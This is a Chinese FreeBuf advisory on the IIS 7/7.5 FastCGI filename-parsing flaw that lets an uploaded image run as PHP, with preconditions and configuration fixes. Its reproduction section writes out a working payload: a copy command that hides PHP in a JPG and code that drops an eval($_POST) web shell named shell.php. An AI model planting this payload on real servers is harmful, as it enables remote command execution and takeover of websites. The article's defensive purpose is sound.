freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

iis7或7.5对文件名畸形解析导致远程代码执行
ATL实验室团队 2019-03-13 12:33:24 302820

iis7/7.5对文件名畸形解析导致远程代码执行

详细描述

Microsoft Internet信息服务(IIS)是MicrosoftWindows自带的一个网络信息服务器。

IIS7/7.5当以CGI的方式运行PHP时,在处理PHP文件路径的解析时存在问题。如果网站允许上传文件,而且上传文件路径可得到,远程攻击者可以利用此漏洞上传包含恶意代码的文件并得到执行,实现以Web进程权限执行任意命令。

攻击者上传允许上传的文件类型,文件中包含恶意代码,得到上传文件的URL后,在其后添加任意php后缀的文件名进行访问,会把上传的文件作为CGI脚本执行。

漏洞复现

IIS 7/7.5在Fast-CGI运行模式下,如果在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。

图片.png

常用利用方法:将一张图和一个写入后门代码的文本文件合并将恶意文本写入图片的二进制代码之后,避免破坏图片文件头和尾

e.g. copy xx.jpg/b + yy.txt/a xy.jpg

######################################

/b 即二进制[binary]模式

/a 即ascii模式 xx.jpg正常图片文件

yy.txt 内容 <?PHPfputs(fopen('shell.php','w'),'<?php eval($_POST[IIS])?>');?>

意思为写入一个内容为 <?php eval($_POST[IIS])?> 名称为shell.php的文件

######################################

找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 即可执行恶意文本。

然后就在图片目录下生成一句话木马 shell.php 密码 IIS

前提条件

该解析漏洞利用需要两个条件

1)  php.ini里cgi.fix_pathinfo=1(默认为1)

图片.png

2)  在”Handler Mapping”中取消勾选以下内容:

图片.png

解决方案

1)配置cgi.pathinfo(php.ini中)为0并重启php-cgi程序

图片.png

2)在”Handler Mapping”勾选php-cgi.exe程序的”Invoke handler only if request is mapped to”

图片.png 

3)重新配置iis,使用ISAPI的方式(注意:PHP5.3.1已经不支持ISAPI方式)。



# iis7或iis7.5对文件名畸形解析导致漏洞
本文为 ATL实验室团队 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
凯信特安全团队
ATL实验室团队 LV.1
这家伙太懒了,还未填写个人描述!
  • 94 文章数
  • 100 关注者
带你走入CTF之路-杂项MISC(五)
2020-03-18
带你走入CTF之路-杂项MISC(四)
2020-03-16
带你走入CTF之路-加密Crypto(一)
2020-03-13